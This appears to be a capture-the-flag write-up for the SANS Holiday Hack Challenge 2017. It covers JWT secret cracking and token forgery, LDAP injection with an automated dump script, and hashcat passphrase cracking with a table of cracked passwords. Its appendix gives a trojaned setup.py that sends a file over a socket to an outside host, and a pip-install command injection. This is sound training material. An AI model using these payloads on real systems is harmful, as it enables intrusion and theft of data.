    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I
    

    Great! Now we just need to modify our local storage, similar to how we added our cookie for EWA, and refresh the page! …and nothing happens. If we look at the Network tab of the Developer Tools, we'll see that there was a request to /login, but it returned false:

    edb_login_failed.png

    Figure 34: Elf Database Login Failed

    Alabaster told me he uses JWT tokens because they are super secure as long as you use a long and complex key. Otherwise, they could be cracked and recreated using any old framework like pyjwt to forge a key.

    That seems relevant. Let's check out pyjwt:

    >>> import jwt
    >>> token=open("jwt").read().strip()
    >>> jwt.decode(token, verify=False)
    {'dept': 'Engineering', 'ou': 'elf', 'expires': '2017-08-16 12:00:47.248093+00:00', 'uid': 'alabaster.snowball'}
    

    Unfortunately the token had expired 4 months ago, and could no longer be used to create a new session. The hint mentions that the key needs to be secure – but what if it's not? Let's try cracking it. A bit of Googling later, we end up at jwt2john.py. This can convert the raw token into a format that John the Ripper can understand, and then it can try to crack it.

    Our Makefile shows the process for cracking the key:

    jwt.john: ../tools/jwt2john.py jwt
    	python3 ../tools/jwt2john.py $(shell cat jwt) > jwt.john
    
    john.txt: jwt.john
    	john  --format=HMAC-SHA256 jwt.john
    	john  --format=HMAC-SHA256 jwt.john -show > john.txt
    

    To run it, we just run make john.txt:

    python3 ../tools/jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I > jwt.john
    john  --format=HMAC-SHA256 jwt.john
    Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 32/64 OpenSSL])
    Press 'q' or Ctrl-C to abort, almost any other key for status
    
    3lv3s            (?)
    1g 0:00:06:22 DONE 3/3 (2018-01-10 10:45) 0.002613g/s 835027p/s 835027c/s 835027C/s 3lv3s
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed
    john  --format=HMAC-SHA256 jwt.john -show > john.txt
    $ cat john.txt
    ?:3lv3s
    

    Cracking the JWT token took 6 minutes and found that the secret key was 3lv3s. Now we can use pyjwt again to create a spoofed token:

    import sys
    import jwt
    
    SECRET_KEY='3lv3s'
    
    user = sys.argv[1]
    dept = sys.argv[2]
    ou = sys.argv[3]
    
    data = {
        'dept': dept,
        'ou': ou,
        'uid': user,
        'expires': '2018-08-16 12:00:47.248093+00:00',
    }
    
    token = jwt.encode(data, key=SECRET_KEY)
    print(token.decode('utf-8'))
    

    Plugging in the values from our expired cookie, we get:

    $ ./make_jwt.py alabaster.snowball Engineering elf
    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCIsImV4cGlyZXMiOiIyMDE4LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCJ9.iVg7UqgyCSw688qBLv-n7nD5a1sc9bcMnmTkJKEgIGw
    

    We can plug this into our Local Storage, using the Firefox Developer Tools:

    edb_local_storage.png

    Figure 35: Updating our Local Storage

    Refresh, and…

    edb_search.png

    Figure 36: EDB Personnel Search

    Poking around a little bit, we see that there's a "Santa Panel." Unfortunately, Alabaster's not authorized for that:

    edb_must_be_a_clause.png

    Figure 37: EDB Personnel Search

  • LDAP Injection

    We managed to login to the system, but now let's see what LDAP injection we can do, as we follow the SANS blog post. First, let's see what a standard search looks like, using the Network tab of the Firefox Developer Tools:

    edb_test_search.png

    Figure 38: EDB Search for Elves

    Why, this looks pretty similar to what the blog post has. Poking around in the source code a little bit, we can see that when we login to the system, and load /home, we get the following snippet in the response:

    //Note: remember to remove comments about backend query before going into north pole production network
    /*
    
    isElf = 'elf'
    if request.form['isElf'] != 'True':
        isElf = 'reindeer'
    attribute_list = [x.encode('UTF8') for x in request.form['attributes'].split(',')]
    result = ldap_query('(|(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))(&(sn=*'+request.form['name']+'*)(ou='+isElf+')))', attribute_list)
    
    #request.form is the dictionary containing post params sent by client-side
    #We only want to allow query elf/reindeer data
    
    */
    

    The LDAP query is a bit hard to parse, so let's take a closer look:

    ( 
        | # OR-ed clauses
        (
    	& # AND-ed clauses
           ( gn=*' + request.form['name'] + '* )
           ( ou='+isElf+' )
        ) # What the first query looks for is the name matching any part of the gn field, AND the ou field matching isElf.
        (
    	&
    	(sn=*'+request.form['name']+'*)
    	(ou='+isElf+')
        ) # The second query is very similar, but matches the name against sn instead of gn.
    )
    

    Some LDAP pseudocode might be:

    ( ( gn=*$name* ) && (ou=$isElf) ) || ( (sn=*$name*) && (ou=$isElf) )
    

    Since we're providing the name field, and it's not being validated, this is a prime target for LDAP injection. We'll try rewriting this as:

    ( gn=* ) || ( ( cn=* ) || (ou=$isElf) ) || ( (sn=*$name*) && (ou=$isElf) )
    

    Converting this back into an actual LDAP query, our first subquery would be:

    (
        &
       ( gn=* )
    )
    
    (
        |
        ( cn='* )
        ( ou='+isElf+' )
    )
    

    To get our query formatted that way, our name would be:

    ))(|(cn=
    

    edb_ldap_injection_success.png

    Figure 39: EDB Injection PoC

    That worked. We got a list with elves, reindeers – even administrators! Now that we have some information on Santa, let's change our cookie to his, and access the Santa Panel:

    ./make_jwt.py santa.claus administrators human
    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkZXB0IjoiYWRtaW5pc3RyYXRvcnMiLCJvdSI6Imh1bWFuIiwidWlkIjoic2FudGEuY2xhdXMiLCJleHBpcmVzIjoiMjAxOC0wOC0xNiAxMjowMDo0Ny4yNDgwOTMrMDA6MDAifQ.JQ16hqPVuXmJDqA5PgZ4jMwn9RRQAuPuJhNsXfC5ZYk
    

    edb_confirm_password.png

    Figure 40: EDB Santa Panel

    Nope. Somehow, we'll need to get passwords from LDAP first. At this point, we've managed to query all the entries in LDAP, but the web app restricts which fields we can see. The SANS blog post also discusses modifying parameters to view extra, or different fields. Let's try:

    edb_all_attributes.png

    Figure 41: EDB Return All Attributes

    edb_all_attrs_result.png

    Figure 42: EDB All Rudolph's Attributes

    We now have password hashes for all the users! But really, we're after Santa's password. We could try to crack his password, but if we just Google it, it pops up on several sites.

    Santa's password hash & password originally were cdabeb96b508f25f97ab0f162eac5a04 and 1iwantacookie, but this was modified to d8b4c05a35b0513f302a85c409b4aab3 (001cookielips001).

    Armed with that password, we can access the Santa Panel, where we find:

    wizard_of_oz_to_santa_d0t011d408nx.png

    Figure 43: Letter to Santa

Solution

There was a lot of stuff going on in this question. First, we needed to use XSS to grab a copy of the JWT token, then we had to recover the secret and forge a new token.

Once we logged into the system, we found it was vulnerable to LDAP injection, and were able to dump all the users, and their passwords. Cracking Santa's password allowed us to access the letter from the Wizard of Oz.

We automated this attack with edb.py, which dumps the LDAP database.

Here is edb.py:

#!/usr/bin/env python3
import requests
import sys
import jwt
import json

SECRET_KEY='3lv3s'
PROXY = "socks5h://localhost:31080"

class EDB:
    def __init__(self, host='http://edb.northpolechristmastown.com'):
        self.host = host
        ses = requests.session()
        ses.proxies = {
            "http": PROXY,
        }
        self.ses = ses

    def make_jwt(self, user, dept="administrators", ou="human"):
        data = {
            'uid': user,
            'dept': dept,
            'ou': ou,
            'expires': '2018-08-16 12:00:47.248093+00:00',
        }

        token = jwt.encode(data, key=SECRET_KEY)
        return token.decode('utf-8')

    def login(self, user):
        token = self.make_jwt(user)
        self.ses.headers['np-auth'] = token
        resp = self.ses.post(self.host + "/login", data={
            "auth_token": token
        })
        resp.raise_for_status()
        #print(resp.text)
        resp = self.ses.get(self.host + "/home.html")
        resp.raise_for_status()

    def ldap_search(self, query):
        resp = self.ses.post(self.host + "/search", data={
            "isElf": "True",
            "attributes": "*",
            "name": query,
        })
        resp.raise_for_status()
        return resp.json()

if __name__ == "__main__":
    db = EDB()
    db.login("santa.claus")
    all_data = db.ldap_search("name=))(department=it)(|(cn=")
    print(json.dumps(all_data, indent=True))

And this is edb.py in action:

$ ./edb.py | head
[
 [
  [
   "cn=rudolph,ou=reindeer,dc=northpolechristmastown,dc=com",
   {
    "c": [
     "US"
    ],
    "cn": [
     "rudolph"
...

Alternatives

The website's robots.txt page lists a single entry, http://edb.northpolechristmastown.com/dev/, which leads us to this LDIF file:

#LDAP LDIF TEMPLATE

dn: dc=com
dc: com
objectClass: dcObject

dn: dc=northpolechristmastown,dc=com
dc: northpolechristmastown
objectClass: dcObject
objectClass: organization

dn: ou=human,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: human

dn: ou=elf,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: elf

dn: ou=reindeer,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: reindeer

dn: cn= ,ou= ,dc=northpolechristmastown,dc=com
objectClass: addressbookPerson
cn: 
sn: 
gn: 
profilePath: /path/to/users/profile/image
uid: 
ou: 
department: 
mail: 
telephoneNumber: 
street:
postOfficeBox: 
postalCode: 
postalAddress: 
st: 
l: 
c: 
facsimileTelephoneNumber: 
description: 
userPassword: 

Knowing the LDAP structure would make it easier to pull out the passwords, but much of the work leading up to that would remain the same.

Fin: The Evil Good Witch

Question

Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive?

To answer this question, you need to fetch at least five of the seven pages of The Great Book and complete the final level of the North Pole and Beyond.

Solution

This answer comes straight from the game. Once we've found at least 5 pages, and completed all the levels, we see the following message:

chat_glinda.png

Figure 44: The Villain Revealed

It's always about the money…

Easter Eggs

Story Page

Wintered logo is based on the Wicked stage musical poster.

HHC_banner.png

wicked_poster.jpg

Short video is based on video intro to Rudolph the Red-Nosed Reindeer

North Pole and Beyond

Stocking

The text field for entering the SHA1 hashes of the great book pages appears to have some placeholder text in it, 686579212121202d436f756e746572204861636b. This is in hex and can be converted to ascii, hey!!! -Counter Hack.

NPPD Find the Message in the Stars

@madeye_c3t mentioned something about a hidden easter egg called "Find The Message in the Stars". The only stars we see are a few on the NPPD website and the favicon.ico image.

Let me tell you right now. Working in teams is critical for finding things like this. The favicon.ico you want to look at is on the UNENCRYTPED site (http), not the SSL site (https). I was thinking I was crazy when I couldn't find what my teammates were looking at.

If we take a close look we notice something using strings.

holiday@hack:~$ strings favicon.ico
<V{<
tq$km
&       c2
]```/

...

Jovr
gc7{`
7j&_(
	#'v'
-7Z-M
https://github.com/RobinDavid/LSB-Steganography

Interesting. The link https://github.com/RobinDavid/LSB-Steganography points to a repo that does stegonography with different data types using least significant bits. Let's use this against our favicon.ico file. If we clone the repo and copy our favicon.ico file over:

holiday@hack:~$ python LSBSteg.py decode -i favicon.ico -o secret
holiday@hack:~$ cat secret
Keep the change, you filthy animal

We now see that the favicon.ico was holding onto a little secret phrase, "Keep the change, you filthy animal", which was a phrase spoken by John "Johnny" Valentine in the movie "Angels with Filthy Souls". That, of course, was a fictional movie in the iconic classic Christmas movie, "Home Alone" where Kevin McAllister somehow avoids killing two robbers despite use of lethal force.

NPPD Siren

siren.gif

According to the need help page on the NPPD site, "In the event of an emergency, summon the NPPD by moving your mouse cursor back and forth over the menu bar of the website. Doing this from the infractions page gives optimal results." Doing so results in the video above where it looks like a siren.

robots.txt

The robots.txt page for the NPPD site has a number of robot references as user-agents.

  • hk-47, a hunter-killer assassin droid
  • threepio, an obvious reference to C3PO. There's a sand-crawler-delay variable set to '421' which could be a reference to the storm trooper, TK-421, who was ambushed on the Millenium Falcon, and incidentally is also the only named Storm Trooper in the original trilogy.
  • artoo, an obvious reference to R2D2. There's a sand-crawler-delay variable set to '2187' which is likely a reference to the cell that Princess Leia was in on the Death Star.

Munchkins

In the Munchin BOLO, the munchkins disappeared after speaking something that sounded like 'puuurzgexgull'. This is most likely a reference to the word 'pyrzqxgl' which was a word described in the book 'The Magic of Oz'. A munchkin, incidentally named 'Bini Aru', like the munchkin in the BOLO, wrote down how to pronounce the word. The word was magical and could be used to transform a being into a different creature. Also, Boq is another munchkin named in the Land of Oz book series.

Konami Code

When exploring the game an interesting word popped up in the javascript, konami and konami-code. It's in this code https://2017.holidayhackchallenge.com/assets/hhc17-core-frontend.js. So what happens when we run it?

An interesting script called fontBomb gets called. This was written by Phil Lehoux. Thanks Phil!

Reindeer Speak

This e-mail exchange was discovered on the EWA system:

hhhhhhhhhhhhhh723yhmn03z2784mn1

4cv24 2 342 34 zx5p2342zx1

42

10xc 3912 934u xd528034y2dnryhrhndr23n 234f 2bd4 5  8g 7238g4508 s23425


On 11/15/2017 11:18 AM, admin@northpolechristmastown.com wrote:
> Keep up the good job reindeer!
>
>
> On 11/15/2017 11:17 AM, reindeer@northpolechristmastown.com wrote:
>> t68 2`x4-`8- 28- 5t 3y=8 m89 cfqlhmniuxdk.hszv3ct79p137p2p t78 23t80
>> x 601x
>>
>> http://ghk.h-cdn.co/assets/cm/15/11/640x480/54ffe5266025c-dog1.jpg
>>
>> On 11/15/2017 10:28 AM, admin@northpolechristmastown.com wrote:
>>> Hi,
>>>
>>> Welcome to your new account.
>>
>

The reindeer appear to be speaking. Or randomly typing. The linked image is:

54ffe5266025c-dog1.jpg

humans.txt

http://nppd.northpolechristmastown.com/humans.txt contains a message from the challenge creators as well as.. something else!

Counter Hack Challenges is an organization devoted to creating educational, 
interactive challenges and competitions to help identify people with information 
security interest, potential, skills, and experience.

We design and operate a variety of capture-the-flag and quiz-oriented challenges 
for the SANS Institute, Cyber Aces, US Cyber Challenge, and other organizations. 
Our featured products include NetWars, CyberCity, Cyber Aces Online, and several 
Cyber Quests. And of course Holiday Hack Challenge.

789cd5584d6fc3200cbdfbd7acfb90bac30e8c4c1ada926aaa266de7494165d2ba5bca7efd804002
04f25172a087e8c5063f3b7e2e422518d18fcd7dbdc6036b11ad46860f88be72448188cf5cebc987
ac4647f57904979470c40c1953c8edcd65efc77d40649f5d9909b402fa04c6ef56c6edf58eacb437
b981dccddc3dcfcd4b9db50089648f5bfcd3843fbd23e3b66a4395dca697511bac8540b670055e01
6c483639a0bfdb9c054825d3035a62d49042a3e865297b55f47ed1c306b4c35908d886a019f8ad75
082cb050661f959a9e1f4c89c34c6640b31520954c0fe849f56e2fb0789a85b0342084a2e7a756cd
f846d6d95309f53a38192227683e022492e9012d082d0f884fa2ec51c00fb3095a6421bf5053214c
05a88d914a3ca430e704bd6035f57c42c9d11f29444f7a641efaeb5184a5011de261c241656411a1
7b806628402a999e4fd1b337d99a2b8950e1f665049d00e517cd7750fbc10e9841eca093205a9997
d121183940f3102091cc1ca0efb4daa38d6a8544630b04b3209ae92c58016ce00fa08c878ec8cf34
650710accc2c1230eb0a7ac96aea01ad0ee89a149f2dca56446c70167c6cc571fced8d314c0c51a2
79c86c3b5cd91957d00b53530fe80d29be68c597218c6e906a4d133163c339154c56967a05cd5e4d
738252bac3e8d64316f28b9f54d086a9c005c82091c0a09acfac054824d1f3b9dba33bd1b36ff522
51a87267db4b11d48bf80dce0a18dfc760e6c600b19ccf53e6ffd32691d5e8f800ffaf39e7fe

The blob looks a lot like hex encoded ASCII, we can decode that using Python:

with open("../output/humans.txt") as f:
    txt = f.read()

#grab just the last paragraph
txt = txt.split("\n\n")[-1]

s = txt.replace("\n", "").strip()
decoded = binascii.unhexlify(s)

with open("humans.dat", 'wb') as f:
    f.write(decoded)

But the result is… binary data. Running file on the resulting .dat file shows:

humans.dat: zlib compressed data

Decompressing it, and decoding the resulting base64 encoded data gives a punch card!

decompressed = zlib.decompress(decoded)
result = base64.decodestring(decompressed).decode('ascii')

print(result)
   ______________________________________________________________________________________________________
  /                                                                                                     |
 /  ###   #  #     # #    # ## #      #      #  ####   #  ####       ##  ##    #     ## #  #  #         |
|                                                                                                       |
|  #           ##        #        ###    # ##        #         #           ##   #                       |
|                                                                                                       |
|  0000 0#0# 0000 #000 #000 00#0 0000 0#00 0000 0000 0#00 0000 0##0 #000 0000 000# #000 0000 #000 0000  |
|  1#11 1111 1111 1111 111# 1111 1111 1111 1111 1111 1111 #1#1 1111 1111 1#11 1#11 1111 1111 1#11 1111  |
|                                                                                                       |
|  2222 2222 2222 222# 2222 2222 2222 2222 2222 2222 2#22 2222 2#22 2222 222# 2222 #2#2 2222 2222 2222  |
|  3333 333# 33#3 3333 3333 3333 3333 3333 3333 3333 3333 3333 33#3 #333 3333 333# 3333 3333 3333 3333  |
|                                                                                                       |
|  #4#4 4444 4444 4444 44#4 #444 4#44 #444 4444 #444 4444 4444 4444 4444 #444 4444 4444 44#4 4444 4444  |
|  555# 5555 5555 ##55 5555 5#5# 5555 5555 5555 5#5# #5#5 5555 #555 55#5 5555 5555 5555 #55# #555 5555  |
|                                                                                                       |
|  6666 6#66 666# 6666 6666 6666 66## 6666 6##6 66#6 6666 6666 6666 6666 6666 6666 666# 6666 6666 6666  |
|  7777 7777 7777 7777 7777 7777 7777 777# 7777 7777 7777 7#77 7777 7777 7777 7777 7777 7777 7777 7777  |
|                                                                                                       |
|  8888 8888 #888 8888 #888 88#8 8888 8#88 8888 8888 8888 8888 8888 8#88 8888 8888 8888 8888 8888 8888  |
|  9999 99#9 9999 9999 9999 9999 9999 9999 #999 9999 9999 999# 9999 9999 99#9 99#9 9999 9999 9999 9999  |
|_______________________________________________________________________________________________________|

This can be decoded by hand, but who has time for that these days!? We found a decoder written in php

This decoder wants a binary matrix, so we have some cleaning up to do. We need to remove the border, remove empty lines, and convert the hash marks to 1, and everything else to zero.

card = result.splitlines()
# Strip the border from each line, and grab every other column
lines = [line[3:-2:2] for line in card]
#remove the header and footer and blank lines
lines = [line for line in lines if line.strip() and '_' not in line]

def convert(line):
    """Normalize the data to 0 and 1"""
    return ''.join('1' if c == '#' else '0' for c in line)

with open("punchcard.txt", 'w') as f:
    for line in lines:
        l = (convert(line));
        f.write(l)

The resulting matrix is

01110010100001010001110100001000001011110010111100000110110001000011100101000000
10000000001100000010000001110001110000001000000010000000001100100000000000000000
00000101000010001000001000000100000000000100000001101000000000011000000010000000
01000000000000000001000000000000000000000000101000000000010001000000000001000000
00000000000000010000000000000000000000000100000001000000000100001010000000000000
00000001001000000000000000000000000000000000000000101000000000010000000000000000
10100000000000000010100001001000000010000000000000000000100000000000001000000000
00010000000011000000010100000000000001011010000010000010000000000000100110000000
00000100000100000000000000110000011000100000000000000000000000000001000000000000
00000000000000000000000000000001000000000000010000000000000000000000000000000000
00000000100000001000001000000100000000000000000000000100000000000000000000000000
00000010000000000000000000000000100000000000000100000000001000100000000000000000

Using a small php script, we can use the existing code to decode this:

<?php

require_once "punchcard.php";
echo "\n\n\n\n";
echo "Ignore above stuff from default punchcard.\n";
echo "\n\n\n\n";

$card = file_get_contents("punchcard.txt");
echo ibm029decode($card,true);
echo "\n";
?>

This outputs MADEWITHLOVEBYMADEYEMOODYPROFDEFENSEAGAINSTTHEDARKARTSBFE4EVA

It turns out that the php punchard code does not handle empty columns as spaces, but adding an extra line:

case '000000000000': $t .=' ';break;

Gives us the intended result: MADE WITH LOVE BY MADEYE MOODY PROF DEFENSE AGAINST THE DARK ARTS BFE 4EVA

Incidentally, Professor Moody is @madeye_c3t and BFE refers to BitsForEveryone.

The Virtual Keypunch is a neat site that allows us to convert this punchcard to a more realistic image:

moody_punch.png

## Emails

Just throwing this in for fun but when we looked at the emails, something odd jumped out from the email headers. If we look at the message-ids of all the email the email from the admin that welcomed everyone to their email account, the admin one was formatted differently.

<20171108160102.324F5BD73B@mail.northpolechristmastown.com>
<33f01a00-c8e1-92f1-3ac0-aacc21e68208@northpolechristmastown.com>
<af2235d2-dc5f-512c-d65e-1354eb32a69c@northpolechristmastown.com>
<91a988a9-4a52-9d96-ecd4-5787793d92a2@northpolechristmastown.com>
...
<cb30471a-c3d8-4162-567b-23e5a64bf2f0@northpolechristmastown.com>
<940ba863-3a1a-d531-b0d7-232d44f79988@northpolechristmastown.com>
<b426ecb5-f79b-bc25-48f5-26f94bffbac7@northpolechristmastown.com>

The admin one is based on date. The rest look like UUIDs but they're not RFC 4122 compliant. Just something interesting we found.

Appendices

Command Execution with pip

Early on in the challenge, the EWA and EMI systems had some reliabilty issues. Using the DDE exploit it took a while to get any command execution to work. Any attempt to run a more complicated command would fail.

We weren't sure if our commands were failing due to quoting or escaping issues or even how to tell. Eventually it was determined that even a previously known working dir | nc host port command was failing almost every time. Any experiment we could come up with was tainted by the lack of reliability on the backend. Not only was it a blind command injection exploit, but if an attempt failed we had no way of knowing why. We had to run something we KNEW would work, and that would confirm it had been executed.

We were able to use dir and nc to determine that Python was installed, and then were able to run python -V. Once we knew we could run Python and pass it arguments, we ran pip:

python -m pip install https://my.vps.domain/test.tar.gz

A minute later, we got a hit for test.tar.gz! The benefit of this method is that the command itself does not require any special characters that may need escaping. There are no quotes or pipes or backslashes to worry about. The fact that pip will initially request the file from our server also meant we knew the phishing DDE exploit worked. We could use this method as a solid base to run further experiments. Once the pip command was worked out, the docx file did not need to be changed between runs.

With pip working, it was a simple matter of putting together a trojaned setup.py in the style of previous shenanigans seen in the wild

The first trojaned package was written by hand:

# setup.py
from distutils.core import setup
setup(name='upload_doc',
      version='1.2',
)
#hax

try:
    import base64
    import socket
    with open("C:/GreatBookPage7.pdf", "rb") as f:
        document = f.read()
    encoded = base64.encodestring(document)

    s=socket.socket()
    s.connect(('my.vps.domain',44665))
    s.send(encoded)
    s.close()
except Exception as e:
    print("oops")
    print(e)

We then ran

python setup.py sdist

to build the upload_doc-1.2.tar.gz tarball. By copying this file to the VPS, and having pip install it, it would run our Python code. Unfortunately EWA/EMI was having a lot of issues at this time, and it took almost 2 days before we were able to see this work. Fortunately, because we were now using a known good docx file, we knew the problem was not on our end.

The trojanpkg.py module automates this by building a tarball in memory based on an arbitrary injected code block. This enables the destination address to be templated in on the fly, instead of hardcoded in the package. This enabled other members of the team to run the exploit code without having to edit the source to match their environment.

The trojanpkgweb.py module builds on top of trojanpkg.py to start up a web server that dynamically serves up a trojaned package for any url.

Cracking Passphrases

Finding a Wordlist

In question 2, we found Alabaster's password, which was pretty strong: stream_unhappy_buy_loss. During the course of the Hack, we found some other passwords, but were only able to crack Santa's password with a simple wordlist. Let's do some digging and see if we can't figure out how Alabaster's password was generated.

Googling doesn't help too much, but a GitHub code search does. Searching for stream unhappy buy loss passphrase, the 8th result is pw.py:

#!/usr/bin/env python3
# coding=utf-8

# Thanks to http://passphra.se/
words = [
"ability","able","aboard","about","above","accept","accident","according",
"account","accurate","acres","across","act","action","active","activity",
"actual","actually","add","addition","additional","adjective","adult","adventure",
"advice","affect","afraid","after","afternoon","again","against","age",
"ago","agree","ahead","aid","air","airplane","alike","alive",
"all","allow","almost","alone","along","aloud","alphabet","already",
...

We can verify that all 4 of the words are in that list. The code is even nice enough to link us to http://passphra.se/, which seems like it'd be a handy service for anyone wanting to create some quick passwords.

Cracking the Passwords

In question 8, we recovered some LDAP password hashes. Let's see if we can't crack more of those. Hashcat is our password cracker of choice, but it can't do passphrases from a word list. We only have 1,949 words, and his password had 4 words chosen, so we can create a file with all the two-word combinations, then use Hashcat's combinator mode to try all combinations of two words on the left half and two words on the right half.

We'll start by downloading the pw.py file that we found, and then a quick script will create our 2-word combos:

#!/usr/bin/env python3
import itertools

import pw

for x in itertools.permutations(pw.words, 2):
    print(' '.join(x))

Some Makefile targets to help:

password_hashes.txt: edb.json
	cat edb.json |jq '.[][][]' -c|grep userPassword | jq '"\(.mail[0]):\(.userPassword[0])"' -r > password_hashes.txt

password_combos.txt: ../tools/gen_password_combos.py
	../tools/gen_password_combos.py > password_combos.txt
	ls -lh password_combos.txt
	wc -l password_combos.txt

ldap_hashcat.txt: password_hashes.txt password_combos.txt
	hashcat -m 0  -a 1 password_hashes.txt password_combos.txt  password_combos.txt -j ' ' --username || true
	hashcat -m 0  -a 1 password_hashes.txt password_combos.txt  password_combos.txt -j ' ' --username --show | tee ldap_hashcat.txt

And then we can create our combos:

$ make password_combos.txt
../tools/gen_password_combos.py > password_combos.txt
ls -lh password_combos.txt
-rw-r--r--  1 holiday staff    48M Jan 10 17:29 password_combos.txt
wc -l password_combos.txt
 3796652 password_combos.txt

A 50 MB file is quite reasonable. Next up, we'll fire up Hashcat:

$ make ldap_hashcat.txt
hashcat -m 0 -a 1 password_hashes.txt password_combos.txt  password_combos.txt -j ' ' --username || true

On a laptop, performance isn't great. So we got an AWS GPU cracking rig.

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: password_hashes.txt
Time.Started.....: Wed Jan 10 14:15:06 2018 (1 minute 8 secs)
Time.Estimated...: Wed Jan 10 14:16:14 2018 (0 secs)
Guess.Base.......: File (password_combos_left_underscore.txt), Left Side
Guess.Mod........: File (password_combos_right_underscore.txt), Right Side
Speed.Dev.#1.....: 27490.8 MH/s (15.27ms)
Speed.Dev.#2.....: 27306.9 MH/s (15.27ms)
Speed.Dev.#3.....: 27213.1 MH/s (15.31ms)
Speed.Dev.#4.....: 27282.2 MH/s (15.28ms)
Speed.Dev.#5.....: 27210.4 MH/s (15.26ms)
Speed.Dev.#6.....: 27154.5 MH/s (15.29ms)
Speed.Dev.#7.....: 27160.6 MH/s (15.29ms)
Speed.Dev.#8.....: 27380.2 MH/s (15.31ms)
Speed.Dev.#*.....:   218.2 GH/s

This behemoth can run through all 4-word password combinations for NTLM using the wordlist in about a minute. And running it for a minute costs less than a dollar!

When spinning up expensive AWS instances, don't go to sleep with them idling.

Here are the passwords we were able to crack this way:

User Hash Password Source Type
alabaster.snowball 17e22cc100b1806cdc3cf3b99a3480b5 power instrument gasoline film EDB LDAP MD5
bushy.evergreen 3d32700ab024645237e879d272ebc428 reason fight carried pack EDB LDAP MD5
holly.evergreen 031ef087617c17157bd8024f13bd9086 research accept cent did EDB LDAP MD5
jessica.claus 16268da802de6a2efe9c672ca79a7071 in attention court daughter EDB LDAP MD5
mary.sugerplum b9c124f223cdc64ee2ae6abaeffbcbfe mark poem doll subject EDB LDAP MD5
minty.candycane bcf38b6e70b907d51d9fa4154954f992 tight mass season may EDB LDAP MD5
pepper.minstix d0930efed8e75d7c8ed2e7d8e1d04e81 wolf how policeman dance EDB LDAP MD5
shimmy.upatree d0930efed8e75d7c8ed2e7d8e1d04e81 wolf how policeman dance EDB LDAP MD5
sparkle.redberry 82161cf4b4c1d94320200dfe46f0db4c receive couple late copy EDB LDAP MD5
tarpin.mcjinglehauser f259e9a289c4633fc1e3ab11b4368254 dozen age nation blind EDB LDAP MD5
wunorse.openslae 9fd69465699288ddd36a13b5b383e937 comfortable world yellow jungle EDB LDAP MD5
alabaster_snowball 10e2fa00c44d10ca05d399f47ed13351 Carried_mass_it_reader1 EMI NTLM

Why Are These Passwords Insecure?

http://passphra.se/ is based off of this XKCD comic:

password_strength.png

This comic explicitly mentions that these passwords are intended to keep you safe via online attacks, and not the offline attacks we were performing. With our GPU cracking rig, we were testing over 200 billion passwords per second, and these were designed to be resistant for 1,000 per second.

What's more, the wordlist was supposed to be 2,048 words, but only used 1,949, calling it "close enough." This seems like a small difference, but when you consider 4 word combinations, there are only 82% as many combinations with 1,949 words as with 2,048.

Would adding more words help? Yes, but a 5 word combination would still be crackable in less than a day and a half, and even a 6 word combination isn't out of reach for a determined (and well-funded) adversary.

Another solution is using better hashes, which are more computationally expensive to compute.

Author: NCSA Security Team

Validate